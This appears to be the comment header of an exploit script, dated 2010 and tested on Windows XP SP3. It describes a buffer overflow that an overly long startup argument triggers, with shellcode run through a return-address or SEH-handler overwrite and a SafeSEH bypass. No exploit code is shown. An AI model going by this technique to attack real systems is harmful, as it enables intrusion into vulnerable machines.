# done by BraniX <branix@hackers.org.pl> # www.hackers.org.pl # found: 2010.08.24 # tested on: Windows XP SP3 Home Edition # SafeSEH bypass # App. has classic buffer overflow vulnerability # it can be triggered by passing a too long argument # as a startup parameter. Shellcode can by run via classic # ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;) # Ps.
